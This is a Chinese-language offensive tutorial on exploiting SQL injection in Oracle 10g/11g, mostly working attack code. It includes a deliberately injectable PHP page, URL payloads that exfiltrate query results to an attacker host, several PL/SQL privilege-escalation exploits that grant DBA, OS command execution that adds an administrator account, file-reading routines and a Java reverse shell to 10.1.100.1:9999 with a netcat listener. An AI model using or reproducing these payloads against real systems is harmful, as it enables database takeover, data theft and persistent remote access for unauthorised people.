Hacking Oracle with Sql Injection

0x0 前言

本文主要讨论如何通过一个sql inject 来最大限度的取得各种信息和权限,测试数据库分别为:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 和Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 ,默认是 Oracle Database 10g Enterprise Edition Release 10.2.0.1.0

0x1 信息刺探

通常刷到一个sql inject 之后,一般步骤都是查找敏感信息,oracle自带了很多数据字典,可以很方便查找信息

      
  1. -- list version   select banner from v$version where rownum = 1 ; -- oracle version
  2. -- list user   select user from dual ; -- current user   select username from user_users ; -- current user   select username from all_users ; -- all user , the current user can see ...    select username from dba_users ; -- all user , need pris
  3. -- list role   select role from session_roles ; -- current role
  4. -- list privs   select privilege from user_sys_privs ; -- privs the current user has   select privilege from role_sys_privs ; -- privs the current role has   select privilege from session_privs ; -- the all privs that current user has = user_sys_privs + role_sys_privs   select * from dba_sys_privs ; -- all user ' s privs , need privs
  5. -- list password hash   select name , password , astatus from sys . user$ ; -- password hash <= 10g , need privs   select name , password , spare4 from sys . user$ ; -- password has 11g , need privs
  6. -- list database   select global_name from global_name ; -- current database   select sys . database_name from dual ; -- current database   select name from v$database ; -- current database name , need privs   select instance_name from v$instance ; -- current database name , need privs
  7. -- list schemas   select distinct owner from all_tables ; -- all schema
  8. -- list tables   select table_name from all_tables where owner = 'xxx' ; -- all table name
  9. -- list columns   select owner , table_name , column_name from all_tab_columns where table_name = 'xxx' ;    select owner , table_name , column_name from all_tab_cols where table_name = 'xxx' ;
    一般思路就是检索schema->table->column ,然后就查询相关信息。这里介绍怎么样通过web来hack oracle,首先简单的描述一下在oracle 下如何高效的获取信息,下面这个是测试代码,本文通用代码
  
      
  1. <? php  
  2. // error_reporting ( 0 ); // do not display error info  
  3. // include_once ( 'db.php' );   
  4. $dbuser = 'hellove' ;   
  5. $dbpass = 'hellove' ;   
  6. $db = '' ;   
  7. echo "<h3>Welcome to sql inject world!!! </h3>" ;   
  8. $conn = oci_connect ( $dbuser , $dbpass , $db );
  9. // get some data from mynew ;   
  10. if ( empty ( $_GET [ 'id' ]))   
  11. $_GET [ 'id' ] = 1 ;   
  12. $stmt = oci_parse ( $conn , "select id,content from mynews where id = " . $_GET [ 'id' ]);   
  13. oci_execute ( $stmt );   
  14. oci_commit ( $conn );
  15. $nrows = oci_fetch_all ( $stmt , $results );
  16. if ( $nrows > 0 ) {   
  17. echo "<table border=\"1\">" ;   
  18. echo "<tr>" ;   
  19. foreach ( $results as $key => $val ) {   
  20. echo "<th>$key</th>" ;   
  21. }   
  22. echo "</tr>" ;
  23.        for ( $i = 0 ; $i & lt ; $nrows ; $i ++) {
  24.           echo "&lt;tr&gt;&lt;br /&gt;" ;
  25.           foreach ( $results as $data ) {
  26.            echo "&lt;td&gt;$data[$i]&lt;/td&gt;" ;
  27.            }
  28.           echo "&lt;/tr&gt;" ;
  29.      }
  30.      echo "&lt;/table&gt;" ;
  31. } else {   
  32. echo "No data found<br />" ;   
  33. }   
  34. echo "$nrows Records Selected<br />" ;
  35. oci_free_statement ( $stmt );   
  36. oci_close ( $conn );
  37. ?>   

假定上面的代码是http://www.hellove.net/hellove.php,变量id将会导致注入. 在这里很明显的可以用union来获取信息,不过我们还是介绍一点oracle独有的获取信息的方法吧 

      
  1. utl_http . request
  2. local : nc . traditional - l - p 1234
  3. web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_http.request('http://10.1.100.1/'||(SQL in HERE))   utl_inaddr . get_host_name
  4. error base  
  5. web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_name((SQL in HERE))   utl_inaddr . get_host_address
  6. error base or dns  
  7. web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_address((SQL in HERE))   ctxsys . drithsx . sn
  8. error base  
  9. web : http : //www.hellove.net/hellove.php?id=123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))   sys . dbms_ldap . init
  10. dns  
  11. web : http : //www.hellove.net/hellove.php?id=123 and SYS.DBMS_LDAP.INIT(((SQL in HERE)||'hellove.net',80) is not null

utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address 由于11g的安全特性无法继续使用,但是我们 可以在显错模式下利用ctxsys.drithsx.sn,或者自己搭建一个dnsserver,将一个域名的解析server指向该server,利用 sys.dbms_ldap.init 还可以在11g下正常工作

0x2 权限提升

在这里假设我们得到的这个注射点所在的用户的拥有的权限很小,仅有create session或者其他权限,也假设我们并没有足够走运 能够注射到pl/sql语句中,仅仅是一个普普通通的注射点,这个时候我们就要想想如何提权了,所以本小结的主题是如何让我们现在 的用户成为dba,let’s begin

DBMS_EXPORT_EXTENSION  现在我们来关注一下DBMS_EXPORT_EXTENSION这个包,这个包在06年7月之前存在3个危险函 数,get_domain_index_metadata, get_v2_domain_index_tables,get_domain_index_tables,这三个函数sys定义,默认都是 definer right ,oracle的初次 修复方案很友爱,前两个函数都修得差不多了,但是第三个在10g r2未打补丁的情况下,还存在着,让我们看一下这个函数的代码

      
  1. FUNCTION GET_DOMAIN_INDEX_TABLES (   
  2. INDEX_NAME IN VARCHAR2 ,   
  3. INDEX_SCHEMA IN VARCHAR2 ,   
  4. TYPE_NAME IN VARCHAR2 ,   
  5. TYPE_SCHEMA IN VARCHAR2 ,   
  6. READ_ONLY IN PLS_INTEGER ,   
  7. VERSION IN VARCHAR2 ,   
  8. GET_TABLES IN PLS_INTEGER )   
  9. RETURN VARCHAR2 IS
  10. CRS INTEGER := DBMS_SQL . OPEN_CURSOR ;   
  11. DUMMY INTEGER ;   
  12. RETVAL INTEGER ;   
  13. STMTSTRING VARCHAR2 ( 3901 );   
  14. COMPILE_ERROR EXCEPTION ;   
  15. PRAGMA EXCEPTION_INIT ( COMPILE_ERROR , - 6550 );
  16. BEGIN  
  17. IF GET_TABLES = 1 THEN  
  18. GETTABLENAMES_CONTEXT := 0 ;
  19. STMTSTRING :=   
  20. 'DECLARE ' ||   
  21. 'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||   
  22. '''' || SYS . DBMS_ASSERT . SCHEMA_NAME ( INDEX_SCHEMA )|| ''',''' ||   
  23. SYS . DBMS_ASSERT . SIMPLE_SQL_NAME ( INDEX_NAME )|| ''', ' ||   
  24. 'ODCIColInfoList(), NULL, 0, 0); ' ||
  25. 'BEGIN ' ||   
  26. ':p1 := "' || SYS . DBMS_ASSERT . SCHEMA_NAME ( TYPE_SCHEMA ) || '"."' ||   
  27. SYS . DBMS_ASSERT . SIMPLE_SQL_NAME ( TYPE_NAME ) ||   
  28. '".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); ' ||   
  29. 'END;' ;   
  30. DBMS_SQL . PARSE ( CRS , STMTSTRING , DBMS_SYS_SQL . V7 );   
  31. DBMS_SQL . BIND_VARIABLE ( CRS , ':p1' , STMTSTRING , 3901 );   
  32. DBMS_SQL . BIND_VARIABLE ( CRS , ':p2' , READ_ONLY );   
  33. DBMS_SQL . BIND_VARIABLE ( CRS , ':p3' , VERSION , 20 );   
  34. DBMS_SQL . BIND_VARIABLE ( CRS , ':p4' , GETTABLENAMES_CONTEXT );   
  35. DUMMY := DBMS_SQL . EXECUTE ( CRS );   
  36. DBMS_SQL . VARIABLE_VALUE ( CRS , ':p1' , STMTSTRING );   
  37. DBMS_SQL . VARIABLE_VALUE ( CRS , ':p4' , GETTABLENAMES_CONTEXT );   
  38. DBMS_SQL . CLOSE_CURSOR ( CRS );   
  39. ELSE  
  40. STMTSTRING :=   
  41. 'BEGIN ' ||   
  42. '"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||   
  43. '".ODCIIndexUtilCleanup(:p1); ' ||   
  44. 'END;' ;   
  45. DBMS_SQL . PARSE ( CRS , STMTSTRING , DBMS_SYS_SQL . V7 );   
  46. DBMS_SQL . BIND_VARIABLE ( CRS , ':p1' , GETTABLENAMES_CONTEXT );   
  47. DUMMY := DBMS_SQL . EXECUTE ( CRS );   
  48. DBMS_SQL . CLOSE_CURSOR ( CRS );   
  49. STMTSTRING := '' ;
  50. END IF ;
  51. RETURN STMTSTRING ;
  52. EXCEPTION  
  53. WHEN COMPILE_ERROR THEN  
  54. DECLARE  
  55. ERR_MSG VARCHAR2 ( 520 );   
  56. BEGIN  
  57. DBMS_SQL . CLOSE_CURSOR ( CRS );   
  58. ERR_MSG := SQLERRM (- 6550 );
  59. IF INSTR ( ERR_MSG , 'PLS-00302' ) != 0 THEN
  60. RETURN '' ;   
  61. ELSE  
  62. RAISE ;
  63. END IF ;   
  64. END ;
  65. WHEN OTHERS THEN  
  66. DBMS_SQL . CLOSE_CURSOR ( CRS );   
  67. RAISE ;
  68. END GET_DOMAIN_INDEX_TABLES ;

我们可以看到当GET_TABLES=1时,这代码无懈可击,但是当GET_TABLES=0时,TYPE_SCHEMA和TYPE_NAME就是注入点啊!突然觉得oracle觉得好可爱,这里我们就拿get_domain_index_tables演示

    
      
          
web : http : //www.hellove.net/hellove.php?id=123 and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','DBMS_OUTPUT".PUT(:P1);execute immediate ''declare pragma autonomous_transaction; begin execute immediate ''''grant dba to hellove''''; end;''; END;--','SYS',1,'1',0)=0;

注射到第三参TYPE_NAME,熟悉pl/sql的都应该了解上面在干嘛:) 不过这个包的三个函数在06年7月之后就被修复了,也就是说 oracle 11g就不能再用了

      
  1.   dbms_xmlquery . newcontext dbms_xmlquery . getxml

我本来是还要写hacking oracle with pl/sql的,不过被这两个函数直接灭掉我这想法,这两个函数使得之前我以为仅能在pl/sql环境下利用的 漏洞,在web下也能利用了

      
  1. dbms_xmlquery . getxml () public role  
  2. dbms_xmlquery . newcontext () public role  
  3. sys . kupp$proc . create_mater_process () dba role

这三个函数都可以直接执行PL/SQL语句,定义为invoker right ,所以使得之前只能在pl/sql环境中使用的漏洞,现在在web环境中也可以使用了,这三个函数应该都不算是存在漏洞,只能说是特性而已,后期会经常使用,现在提及一下

      
  1.   DBMS_JVM_EXP_PERMS

DBMS_JVM_EXP_PERMS这个包比较好玩,纯粹是逻辑型的漏洞,所需的权限非常小,只要有create session就可以了,只可惜DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS不能在web环境中直接调用,作者给的poc能 使我们的用户直接得到Java权限

      
  1. DECLARE  
  2. POL DBMS_JVM_EXP_PERMS . TEMP_JAVA_POLICY ;   
  3. CURSOR C1 IS SELECT 'GRANT' , USER (), 'SYS' , 'java.io.FilePermission' , '<<ALL FILES>>' , 'execute' , 'ENABLED' from dual ;   
  4. BEGIN  
  5. OPEN C1 ;   
  6. FETCH C1 BULK COLLECT INTO POL ;   
  7. CLOSE C1 ;   
  8. DBMS_JVM_EXP_PERMS . IMPORT_JVM_PERMS ( POL );   
  9. END ;   

个人PL/SQL编程技术有限,尝试将上述poc用dbms_xmlquery.newcontext结合利用,不晓得为什么oracle老是提示 ORA-03113: end-of-file on communication channel ,只能创建个函数,然后在通过函数进行利用,唉,结果又必须多一个create procedure权限才能利用 作者这个很厉害的漏洞,下面是我的代码

      
  1. web : http : //www.hellove.net/hellove.php?id=123 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
  2. begin execute immediate '' create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION ;
  3. begin execute immediate '''' DECLARE POL DBMS_JVM_EXP_PERMS . TEMP_JAVA_POLICY ; CURSOR C1 IS
  4. SELECT '''''''' GRANT '''''''' , USER (), '''''''' SYS '''''''' , '''''''' java . io . FilePermission '''''''' ,
  5. '''''''' & lt ;& lt ; ALL FILES & gt ;& gt ; '''''''' , '''''''' execute '''''''' , '''''''' ENABLED '''''''' from dual ; BEGIN OPEN C1 ;
  6. FETCH C1 BULK COLLECT INTO POL ; CLOSE C1 ; DBMS_JVM_EXP_PERMS . IMPORT_JVM_PERMS ( POL ); END ; '''' ; commit ; return 1 ; end ; '' ;
  7. commit ; end ; ') is not null
  8. web : http : //www.hellove.net/hellove.php?id=123 and myjava()=1

由于The 11.2.0.1 April CPU patch fixes this,我的11g就没有测试成功,至于这个java.io的权限有什么用,后面再说, 反正先刷到一个权限再说

LT.FINDRICSET  first to first,看一下这个漏洞过程的代码

      
  1. PROCEDURE FINDRICSET ( TABLE_NAME VARCHAR2 , RESULT_TABLE VARCHAR2 DEFAULT '' )   
  2. IS  
  3. TABOWNER VARCHAR2 ( 100 );   
  4. TABNAME VARCHAR2 ( 100 );   
  5. RESOWNER VARCHAR2 ( 100 );   
  6. RESNAME VARCHAR2 ( 100 );   
  7. BEGIN  
  8. SYS . LT_CTX_PKG . SETUSER ;
  9.      TABOWNER := NVL ( SUBSTR ( UPPER ( TABLE_NAME ), 1 , INSTR ( TABLE_NAME , '.' )- 1 ), SYS_CONTEXT ( 'lt_ctx' , 'current_schema' ));
  10.      TABNAME   := SUBSTR ( UPPER ( TABLE_NAME ), INSTR ( TABLE_NAME , '.' )+ 1 );
  11.      IF ( RESULT_TABLE IS NOT NULL ) THEN
  12.         RESOWNER := NVL ( SUBSTR ( UPPER ( RESULT_TABLE ), 1 , INSTR ( RESULT_TABLE , '.' )- 1 ), SYS_CONTEXT ( 'lt_ctx' , 'current_schema' ));
  13.         RESNAME   := SUBSTR ( UPPER ( RESULT_TABLE ), INSTR ( RESULT_TABLE , '.' )+ 1 );
  14.      END IF ;
  15.       IF ( RESULT_TABLE IS NOT NULL AND
  16.            NOT HASOUTPUTTABPRIVS ( RESOWNER , RESNAME ) ) THEN
  17.          SYS . WM_ERROR . RAISEERROR ( SYS . LT . WM_ERROR_171_NO , 'insufficient privileges on the result table' );
  18.       END IF ;
  19.      SYS . LTRIC . FINDRICSET ( TABOWNER , TABNAME , RESOWNER , RESNAME );
  20. END ;   

粗略看一下似乎没什么问题,可是这个函数又调用了SYS.LTRIC.FINDRICSET,而SYS.LTRIC.FINDRICSET中存在注 入,但是SYS.LTRIC.FINDRICSET 是不能被public角色调用,LT.FINDRICSET可以被public 角色调用,所以归为LT.FINDRICSET漏洞,再让我们看一下SYS.LTRIC.FINDRICSET的代码

      
  1. PROCEDURE FINDRICSET ( IN_TABLE_OWNER VARCHAR2 , IN_TABLE_NAME VARCHAR2 ,   
  2. RESULT_TABLE_OWNER VARCHAR2 , RESULT_TABLE VARCHAR2 )   
  3. .....省略   
  4. EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values ( ''' || IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''' )' ;

我们看到了IN_TABLE_NAME 和 IN_TABLE_OWNER 可以注入,但是IN_TABLE_NAME与IN_TABLE_OWNER都是由LT.FINDRICSET中的参数TABLE_NAME 所产生,所以我们可以用LT.FINDRICSET的第一参来进行注入,尝试结合dbms_xmlquery.newcontext(这样就无需 create procedure),结果因为 字数限制而失败了,下面给出利用方法,需要有create procedure的权限

      
  1. web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
  2. begin execute immediate '' create or replace function get_dba return varchar2 authid current_user is PRAGMA  
  3. autonomous_transaction ; BEGIN execute immediate '''' grant dba to hellove '''' ; commit ; return '''' z '''' ; END ; '' ; commit ; end ; ')   
  4. from dual ) is not null
  5. web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA  
  6. AUTONOMOUS_TRANSACTION ; begin sys . lt . findricset ( '' A . A '''' || hellove . get_dba )-- '' , '' BBBB '' ); commit ; end ; ') from dual ) is not  
  7. null

上面两行代码是在web环境下使用的代码,pl/sql中更为简单,就不必演示了

      
  1.   MDSYS . SDO_DROP_USER_BEFORE

之前的DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES属于函数注 入,SYS.LTRIC.FINDRICSET属于过程注入,DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS逻辑问题 现在我们要介绍一个更为好玩的MDSYS.SDO_DROP_USER_BEFORE触发器,MDSYS模式下的 SDO_DROP_USER_BEFORE,TRIGGER是以definer rigth来执行的,虽然MDSYS没有多大的权限 但是先让我们能够在MDSYS下执行任意命令,先看MDSYS.SDO_DROP_USER_BEFORE的代码

      
  1. trigger sdo_drop_user_before  
  2. before drop on DATABASE  
  3. declare  
  4. stmt varchar2 ( 200 );   
  5. rdf_exception EXCEPTION ; pragma exception_init ( rdf_exception , - 20000 );   
  6. BEGIN  
  7. if dictionary_obj_type = 'USER' THEN  
  8. BEGIN  
  9. EXECUTE IMMEDIATE  
  10. 'begin ' ||   
  11. 'mdsys.rdf_apis_internal.' ||   
  12. 'notify_drop_user(''' ||   
  13. dictionary_obj_name || '''); ' ||   
  14. 'end;' ;   
  15. EXCEPTION  
  16. WHEN rdf_exception THEN RAISE ;   
  17. WHEN OTHERS THEN NULL ;   
  18. END ;   
  19. end if ;   
  20. end ;

dictionary_obj_name处可以注入,我们可以尝

      
  1. SQL > set serveroutput on  
  2. SQL > drop user "t');dbms_output.put_line('test" ;   
  3. test  
  4. drop user "t');dbms_output.put_line('test"   
  5. *   
  6. ERROR at line 1 :   
  7. ORA - 01918 : user 't' ); dbms_output . put_line ( 'test' does not exist

相当无语,不过还是因为字数限制,不能利用dbms_xmlquery.getxml来实现无需create procedure,必须创建个过程,但是由于所在模式为MDSYS 不是dba,我们不能利用MDSYS直接获取dba权限,但是MDSYS拥有create any trigger的权限,所以我们可以利用MDSYS在system下 创建一个trigger,trigger是authid current_user,所以我们要利用trigger来在system权限下执行命令,然后我们再触发这个trigger,就可以 在system下执行代码了,talk is cheap,show me the code,直接放代码吧

      
  1. create or replace procedure g ( v varchar2 ) authid current_user is  
  2. PRAGMA AUTONOMOUS_TRANSACTION ;   
  3. stmt varchar2 ( 400 ) := 'create or replace trigger '   
  4. || 'system.evil_trigger '   
  5. || 'before insert on '   
  6. || 'system.OL$ '   
  7. || 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'   
  8. || 'BEGIN execute immediate ''grant dba to hellove'';END evil_trigger;' ;   
  9. begin  
  10. execute immediate stmt ;   
  11. commit ;   
  12. end ;

我们先创建一个过程g(名字要短),方便注射到MDSYS.SDO_DROP_USER_BEFORE中,然后将g的执行权限赋给public,在过程g中,我们创建 一个在system模式OL$的trigger,代码如上

      
  1. drop user "g');hellove.g('" ;   
  2. insert into system . OL$ ( OL_NAME ) values ( 'test' );   
  3. set role dba

删除用户将触发触发器MDSYS.sdo_drop_user_before,注入代码以MDSYS模式下执行,而MDSYS可以create any trigger,所以我们利用MDSYS 创建system.OL$下的一个trigger,之所以是system.OL$,是因为public用户可以往里面插入数据而触发触发器,然后由于触发 器是以definer来 运行的,所以创建的system.evil_trigger就以sysem的权限下加用户了,以上代码还是可以结合 dbms_xmlquery.getxml来使用,请自行构造

简单分析了几个漏洞,由于oracle类似的漏洞太多了,不大可能一一分析,所以本小结到这就结束了

0x3 执行命令

下面的章节都假定我们已经获得了很高的权限,接下来我们的target就转移到了os,下面我们来讲一下如何在pl/sql中执行os命令

      
  1. create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll' ;   
  2. create or replace procedure execmd ( command in char ) is external name "system" library exec_shell language c ;   
  3. /
  4. exec execmd ( 'net user > hellove.txt' );   

直接照这上面的操作是必定会失败的,因为$ORACLE_HOME\bin\下压根就没msvcrt.dll,long long ago是可以用绝对地址”c:\windows\system32\msvcrt.dll”,或者用路径回溯”……\windows\system32 \msvcrt.dll”来执行command的,不过在oracle 10gr2已经不行了,所以测试这个 代码的时候我是直接把msvcrt.dll复制到$ORACLE_HOME\bin\下,面对这种情况,我们可以利用PL/SQL来复制 msvcrt.dll,或者用JAVA来执行命 令,我比较偏爱JAVA :)

      
  1. create or replace and resolve java source named JAVACMD as  
  2. import java . lang .*;   
  3. import java . io .*;   
  4. public class JAVACMD  
  5. {   
  6. public static void execmd ( String command ) throws IOException   
  7. {   
  8. Runtime . getRuntime (). exec ( command );   
  9. }   
  10. }
  11. create or replace procedure MYJAVACMD ( command in varchar ) as language java  
  12. name 'JAVACMD.execmd(java.lang.String)' ;

不过在执行这个MYJAVACMD之前必须将相应的JAVA权限赋予用户,之前提到的DBMS_JVM_EXP_PERMS就可以给用户赋予任意java权限,简单起见,我们直接赋予

      
  1. exec dbms_java . grant_permission ( 'HELLOVE' , 'SYS:java.io.FilePermission' , '<<ALL FILES>>' , 'execute' );   
  2. exec MYJAVACMD ( 'net user' );

突然发现我的题目是hacking oracle with sql inject,不是with pl/sql...让我们简单结合dbms_xmlquery.newcontext来在web下使用

      
  1. web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
  2. begin execute immediate '' create or replace and resolve java source named JAVACMD as import java . lang .*; import java . io .*; public   
  3. class JAVACMD { public static void execmd ( String command ) throws IOException { Runtime . getRuntime (). exec ( command );}} '' ; commit ;   
  4. end ; ') from dual ) is not null
  5. web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
  6. begin execute immediate '' create or replace procedure MYJAVACMD ( command in varchar ) as language java name  
  7. '''' JAVACMD . execmd ( java . lang . String ) '''' ; '' ; commit ; end ; ') from dual ) is not null
  8. web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')  
  9. ; commit ; end ; ') from dual) is not null

由于用了dbms_xmlquery.newcontext之后,代码就惨不忍睹了,下面几篇就不结合dbms_xmlquery.newcontext来使用了,反正都懂的 :)

0x4 文件系统

下面我们将利用pl/sql来读取文件,其实获取dba权限之后,怎么样对系统进行操作完全就是个人pl/sql或java水平的体现

      
  1. create or replace procedure read_file ( dirname varchar2 , fname varchar2 ) as  
  2. FD utl_file . file_type ;   
  3. buffer varchar2 ( 200 );   
  4. begin  
  5. execute immediate 'create or replace directory rw_file as ''' || dirname || '''' ;   
  6. FD := utl_file . fopen ( 'RW_FILE' , fname , 'r' );   
  7. dbms_output . enable ( 100000 );   
  8. loop  
  9. sys . utl_file . get_line ( FD , buffer );   
  10. dbms_output . put_line ( buffer );   
  11. end loop ;   
  12. execute immediate 'drop directory rw_file' ;
  13. exception  
  14. when NO_DATA_FOUND then  
  15. dbms_output . put_line ( '---|---|---|file end!---|---|---|---|' );   
  16. when others then  
  17. dbms_output . put_line ( 'please check your file' );   
  18. end read_file ;   
  19. /   
  20. exec read_file ( 'c:\',' boot . ini ');  

上面是PL/SQL代码来读取文件,下面是利用JAVA来读取文件内容

      
  1. create or replace and compile java source named javareadfile as  
  2. import java . lang .*;   
  3. import java . io .*;   
  4. public class javareadfile  
  5. {   
  6. public static void readfile ( String filename ) throws IOException   
  7. {   
  8. FileReader f = new FileReader ( filename );   
  9. BufferedReader fr = new BufferedReader ( f );   
  10. String text = fr . readLine ();   
  11. while ( text != null )   
  12. {   
  13. System . out . println ( text );   
  14. text = fr . readLine ();   
  15. }   
  16. fr . close ();   
  17. }   
  18. }
  19. create or replace procedure jreadfile ( filename in varchar )   
  20. as language java  
  21. name 'javareadfile.readfile(java.lang.String)' ;
  22. exec jreadfile ( 'c:\boot.ini' );

我们还是可以利用之前的那个DBMS_JVM_EXP_PERMS获取java.io.FilePermission,可以简单读取文件

0x5 访问网络

在PL/SQL中我们可以利用oracle自带的那几个包(utl_tcp,utl_http…etc)来访问网络,自我感觉不怎么好用,比较喜欢用java, 下面我们来实现一个简易的java版本反向后门

      
  1. create or replace and compile java source named javasocket as  
  2. import java . net .*;   
  3. import java . io .*;   
  4. import java . lang .*;
  5. public class javasocket  
  6. {   
  7. public static void test ( String addr , String str_port )   
  8. {   
  9. Socket socket ;   
  10. String len ;   
  11. String s ;   
  12. InputStream Is ;   
  13. OutputStream Os ;   
  14. DataInputStream DIS ;   
  15. PrintStream PS ;
  16.          try {
  17.             socket = new Socket ( addr , Integer . parseInt ( str_port ));
  18.              Is = socket . getInputStream ();
  19.              Os = socket . getOutputStream ();
  20.             DIS = new DataInputStream ( Is );
  21.             PS = new PrintStream ( Os );
  22.              while ( true ){
  23.                 s = DIS . readLine ();
  24.                  if ( s . trim (). equals ( "BYE" )) break ;
  25.                  try {
  26.                      Runtime rt = Runtime . getRuntime ();
  27.                      Process p = null ;
  28.                     p = rt . exec ( s );
  29.                     s = null ;
  30.                      BufferedReader br = new BufferedReader ( new InputStreamReader ( p . getInputStream ()));
  31.                      String msg = null ;
  32.                      while (( msg = br . readLine ())!= null ){
  33.                             msg += "\n" ;
  34.                             s += msg ;
  35.                      }
  36.                     br . close ();
  37.                  }
  38.                  catch ( Exception e )
  39.                  {
  40.                     s = "Please check your command!" ;
  41.                  }
  42.                 PS . println ( s );
  43.            }
  44.             DIS . close ();
  45.             PS . close ();
  46.              Is . close ();
  47.              Os . close ();
  48.             socket . close ();   
  49.          }
  50.          catch ( Exception e )
  51.          {
  52.              System . out . println ( "Error:" + e );
  53.          }
  54.      }
  55. }
  56. create or replace procedure myjavasocket ( address in varchar , port in varchar ) as language java  
  57. name 'javasocket.test(java.lang.String,java.lang.String)' ;   

执行myjavasocket

      
  1. exec myjavasocket ( '10.1.100.1' , '9999' );
  2. local : nc - l - p 9999

这样就可以得到了一个交互的shell了,不过有些不是exe文件的比如dir就得输入cmd.exe /c dir 来运行